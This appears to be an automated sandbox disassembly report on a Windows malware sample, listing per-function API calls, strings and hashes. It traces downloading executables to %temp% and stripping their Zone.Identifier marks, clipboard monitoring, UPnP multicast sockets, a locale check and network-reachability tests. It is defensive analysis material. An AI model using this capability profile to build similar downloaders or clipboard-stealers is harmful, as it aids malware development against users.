Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: e3877ef1b52134d83e5684ab209baab9a63aea7bea6a3d9c299911e37c6d3f39
Instruction ID: ef7ed27ddc10e69a95ecf683d08ad8987f4418d9446925fcf09c3d01f5f265dc
Opcode Fuzzy Hash: e3877ef1b52134d83e5684ab209baab9a63aea7bea6a3d9c299911e37c6d3f39
Instruction Fuzzy Hash: 7141F8B4E10208ABDB14DFE4E889BEEBBB5EF48304F108169F505B7390E7B55A44CB59

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: e01990b2806d481bb9ed450513fecbcb8920a32bd929df83c4378d56477af31e
Instruction ID: ddf1df2f5e3c49f21769c3cd8a86baa6c810c68bf5de7ecead628d1f617bc177
Opcode Fuzzy Hash: e01990b2806d481bb9ed450513fecbcb8920a32bd929df83c4378d56477af31e
Instruction Fuzzy Hash: 72319571A44301AFE320DF649C4AF9BB6E0AF48B14F40493DF695EB2E0D3B5D544879A

Function 0040D1A0 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D1B2
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D1D8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D20F
GetTickCount.KERNEL32 ref: 0040D224
Sleep.KERNEL32(00000001), ref: 0040D244
GetTickCount.KERNEL32 ref: 0040D24A

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction ID: d1d91ce4da814b9a63f0d024f91aac80a52589da6ae3f0e8ee31fa34877a49b5
Opcode Fuzzy Hash: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction Fuzzy Hash: 5A31CA74D00209EFCF04DFA4DA48AEE77B1FF44315F1086A9E825A7290D7749A94CB59

Function 0040AF30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040AF5D

Part of subcall function 0040AEF0: inet_addr.WS2_32(0040AF71), ref: 0040AEFA
Part of subcall function 0040AEF0: gethostbyname.WS2_32(?), ref: 0040AF0D

socket.WS2_32(00000002,00000001,00000000), ref: 0040AF7D
connect.WS2_32(000000FF,?,00000010), ref: 0040AF96
getsockname.WS2_32(000000FF,?,00000010), ref: 0040AFC8

Strings

www.update.microsoft.com, xrefs: 0040AF67

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 4ae1ef7093756838ff96254105526815b724e83601429590a4066d3349afa6d4
Instruction ID: 8d2b89a1e3841e6cd000a2b550c173cff20965c169263ef180e6ea1a6d777d84
Opcode Fuzzy Hash: 4ae1ef7093756838ff96254105526815b724e83601429590a4066d3349afa6d4
Instruction Fuzzy Hash: D1213BB0E103099BCB04DFE8D946AEEBBB5AF08300F108169E504F7390E7745A44CBAA

Function 0040C330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(~@,00000000,00000000,00000001,F0000040,?,?,0040C389,~@,00000004,?,?,0040C3BE,000000FF), ref: 0040C343
CryptGenRandom.ADVAPI32(~@,?,00000000,?,?,0040C389,~@,00000004,?,?,0040C3BE,000000FF), ref: 0040C359
CryptReleaseContext.ADVAPI32(~@,00000000,?,?,0040C389,~@,00000004,?,?,0040C3BE,000000FF), ref: 0040C365

Strings

~@, xrefs: 0040C33F, 0040C355, 0040C361, 0040C342, 0040C358, 0040C364

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: ~@
API String ID: 1815803762-592544116
Opcode ID: 115afb25b1a51c25259045811286537a4a8d93f4d7ebd8fa37951325938a193c
Instruction ID: 830194fa38359529e853ee3f0456384099f2f8dd9552bb81b1528bc6e0449336
Opcode Fuzzy Hash: 115afb25b1a51c25259045811286537a4a8d93f4d7ebd8fa37951325938a193c
Instruction Fuzzy Hash: B3E01275654208BBDB24CFE1EC49FDA776CAB48B00F108154FB09D7190DAB5EA409BA8

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DA0D,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: b639d9fe06152c2b402f412d2fb95bf7c84a2e2683d3c9481316ca8ef9ae7b76
Instruction ID: 1e7a4891c1a42a5318b19a32161f2d9e989c632f85172a1bcc985bb178a8dbbc
Opcode Fuzzy Hash: b639d9fe06152c2b402f412d2fb95bf7c84a2e2683d3c9481316ca8ef9ae7b76
Instruction Fuzzy Hash: 18119674A40710AFE3609F749C0AF877AE0AF04B14F50892DF699E62E1E2B49544878A

Function 0040EBE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22stringCOMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A,?,?,004075E8), ref: 0040EBF3
strcmp.NTDLL ref: 0040EC02

Strings

UKR, xrefs: 0040EBF9

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 60baf994038672de7e905354210f4f0cccfe67ebee51479d5c5c355a5e8cecad
Instruction ID: 39a3b49c0f9cc0ba3e3bafda0df6f1f41861fe80aa697247161161d98fc04bc2
Opcode Fuzzy Hash: 60baf994038672de7e905354210f4f0cccfe67ebee51479d5c5c355a5e8cecad
Instruction Fuzzy Hash: 9AE0CD3594830876DA1065A15C02BA6371C5711701F0000B5AF14A21C1E5765119926B

Function 0040EF90 Relevance: 75.5, APIs: 37, Strings: 6, Instructions: 235
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040EF99
srand.MSVCRT ref: 0040EFA0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040EFC0
strlen.NTDLL ref: 0040EFCA
mbstowcs.NTDLL ref: 0040EFE1
rand.MSVCRT ref: 0040EFE9
rand.MSVCRT ref: 0040EFFD
wsprintfW.USER32 ref: 0040F024
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F03A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F069
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F098
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F0CB
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040F0FC
CloseHandle.KERNEL32(000000FF), ref: 0040F10B
wsprintfW.USER32 ref: 0040F124
DeleteFileW.KERNEL32(?), ref: 0040F134
Sleep.KERNEL32(000003E8), ref: 0040F13F
Sleep.KERNEL32(000007D0), ref: 0040F160
ExitProcess.KERNEL32 ref: 0040F188
DeleteFileW.KERNEL32(?), ref: 0040F19E
CloseHandle.KERNEL32(000000FF), ref: 0040F1AB
InternetCloseHandle.WININET(00000000), ref: 0040F1B8
InternetCloseHandle.WININET(00000000), ref: 0040F1C5
Sleep.KERNEL32(000003E8), ref: 0040F1D0
rand.MSVCRT ref: 0040F1E5
Sleep.KERNEL32 ref: 0040F1FC
rand.MSVCRT ref: 0040F202
rand.MSVCRT ref: 0040F216
wsprintfW.USER32 ref: 0040F23D
DeleteUrlCacheEntryW.WININET(?), ref: 0040F24D
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F267
wsprintfW.USER32 ref: 0040F287
DeleteFileW.KERNEL32(?), ref: 0040F297
Sleep.KERNEL32(000003E8), ref: 0040F2A2
Sleep.KERNEL32(000007D0), ref: 0040F2C3
ExitProcess.KERNEL32 ref: 0040F2EA
DeleteFileW.KERNEL32(?), ref: 0040F2F9

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040F035
%s\%d%d.exe, xrefs: 0040F018
%s\%d%d.exe, xrefs: 0040F231
%temp%, xrefs: 0040EFBB
%s:Zone.Identifier, xrefs: 0040F118
%s:Zone.Identifier, xrefs: 0040F27B

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$Sleep$DeleteInternetrand$CloseHandlewsprintf$ExitOpenProcess$CacheCountCreateDownloadEntryEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 3526668077-2417596247
Opcode ID: d61462c6eaf3bb37fe7557a11c84e855f2e164ce5b2d085cf383048d0c46b177
Instruction ID: 8d9dde5e83d6f5576f0fa95dcda068e4d807ca32b5c879c9ce831b2193034ea7
Opcode Fuzzy Hash: d61462c6eaf3bb37fe7557a11c84e855f2e164ce5b2d085cf383048d0c46b177
Instruction Fuzzy Hash: 7D91EBB5940318ABE720DB50DC49FEA3379AF88701F0485B9F609A51C1DABD9AC8CF59

Function 0040B350 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B280: gethostname.WS2_32(?,00000100), ref: 0040B29C
Part of subcall function 0040B280: gethostbyname.WS2_32(?), ref: 0040B2AE

strcmp.NTDLL ref: 0040B380

Strings

0.0.0.0, xrefs: 0040B36E
.10, xrefs: 0040B46D
.192., xrefs: 0040B42C
.192, xrefs: 0040B40E
.127., xrefs: 0040B3CD
.10., xrefs: 0040B48B
10., xrefs: 0040B44F
.127, xrefs: 0040B3AF
127., xrefs: 0040B391
192., xrefs: 0040B3F0

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: 0f5039163e3a60cdc16b03ecb7c0134fb67bf6b75b9fd7ee3961c739777e0be2
Instruction ID: 1e2a78016ab808788e4a3d10fbde234ca2a84306dd4339bbdfb36d09265cce6e
Opcode Fuzzy Hash: 0f5039163e3a60cdc16b03ecb7c0134fb67bf6b75b9fd7ee3961c739777e0be2
Instruction Fuzzy Hash: C76171B5940305A7DB00AB61EC46BAA3765AB10318F18847AFC05673C2F77DE664C6DF

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

PCOI, xrefs: 0040198A
ilci, xrefs: 004019E1

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction ID: 2c6eba30162642fa916e9f7e0fa03190df933f3dd928bdc23040f585d31ac0f6
Opcode Fuzzy Hash: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction Fuzzy Hash: 9E41F671600300ABCB209F74DC8CB9B77A9AF44720F14463DF995A72E1DB78E881CB99

Function 0040E9A0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E9C8
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EA18
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EA2B
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040EA64
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040EA9A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040EAC5
HttpSendRequestA.WININET(00000000,00411FA0,000000FF,00009E34), ref: 0040EAEF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040EB2E
memcpy.NTDLL(00000000,?,00000000), ref: 0040EB80
InternetCloseHandle.WININET(00000000), ref: 0040EBB1
InternetCloseHandle.WININET(00000000), ref: 0040EBBE
InternetCloseHandle.WININET(00000000), ref: 0040EBCB

Strings

<, xrefs: 0040E9D0
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EA26
POST, xrefs: 0040EA8E

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 9c5f2d3cdb4df672490472a7b015f26657257ad2340108b2c41028c19e4f182d
Instruction ID: 65d8e98dfcdbd5221f12c344ddab433f9c0af5994e8cd23f0dde2b718a24ef5d
Opcode Fuzzy Hash: 9c5f2d3cdb4df672490472a7b015f26657257ad2340108b2c41028c19e4f182d
Instruction Fuzzy Hash: 91512EB5901228ABDB26CF54CC54FE9B3BCAB48705F1485E9B60DA6280D7B86FC4CF54

Function 00405910 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040591C
SetClipboardViewer.USER32(?), ref: 00405968
SetWindowLongW.USER32(?,000000EB,?), ref: 0040597B
IsClipboardFormatAvailable.USER32(0000000D), ref: 004059D0
OpenClipboard.USER32(00000000), ref: 00405A17
GetClipboardData.USER32(00000000), ref: 00405A29
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405B30
ChangeClipboardChain.USER32(?,?), ref: 00405B3E
DefWindowProcA.USER32(?,?,?,?), ref: 00405B54

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: cb19e17cacb7ad962392a7750cfffe1c2c8f8667cd08c9b5de7b834d1fa684ec
Instruction ID: ab6473899f09a2e4ce72b89913391a8d882f42dafbfb3729ae4d66df8233a766
Opcode Fuzzy Hash: cb19e17cacb7ad962392a7750cfffe1c2c8f8667cd08c9b5de7b834d1fa684ec
Instruction Fuzzy Hash: 6671FC75A00608EFDF14DFA4D988BAFB7B4EB48300F14856AE506B6290D7799A40CF69

Function 00401600 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

PCOI, xrefs: 0040160D
ilci, xrefs: 00401630

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: fdb9d9f1c1081d3bac4efd2c1ea591fdf2f72c624c4a3d2a847f061e6529de26
Instruction ID: 4aeae16d9e67a94d8ff1aa5cc2109be900ec35187bf01e7539301e61904878f7
Opcode Fuzzy Hash: fdb9d9f1c1081d3bac4efd2c1ea591fdf2f72c624c4a3d2a847f061e6529de26
Instruction Fuzzy Hash: FA319475900705ABC7209F70EC48B97B7A8BF08300F048A3AF559A3691C77AF894CB98

Function 00405820 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 00405838
GetModuleHandleW.KERNEL32(00000000), ref: 00405850
Sleep.KERNEL32(00000001), ref: 00405864
GetTickCount.KERNEL32 ref: 0040586A
GetTickCount.KERNEL32 ref: 00405873
wsprintfW.USER32 ref: 00405886
RegisterClassExW.USER32(00000030), ref: 00405893
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 004058BC
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004058D7
TranslateMessage.USER32(?), ref: 004058E5
DispatchMessageA.USER32(?), ref: 004058EF
ExitThread.KERNEL32 ref: 00405901

Strings

%x%X, xrefs: 0040587A
0, xrefs: 00405840

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction ID: f3e1014eb48ffaf448ebc99f6ba60d6258e7c56012e586919e9efecad1237f6d
Opcode Fuzzy Hash: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction Fuzzy Hash: BB211A71940308BBEB10ABA0DC49FEE7B78EB04711F108439F606BA1D0DBB995948F69

Function 0040E070 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E098
InternetCrackUrlA.WININET(0040DB49,00000000,10000000,0000003C), ref: 0040E0E8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E0F8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E131
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E167
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E18F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E1D8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E22A
InternetCloseHandle.WININET(00000000), ref: 0040E267
InternetCloseHandle.WININET(00000000), ref: 0040E274
InternetCloseHandle.WININET(00000000), ref: 0040E281

Strings

GET, xrefs: 0040E15B
<, xrefs: 0040E0A0

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
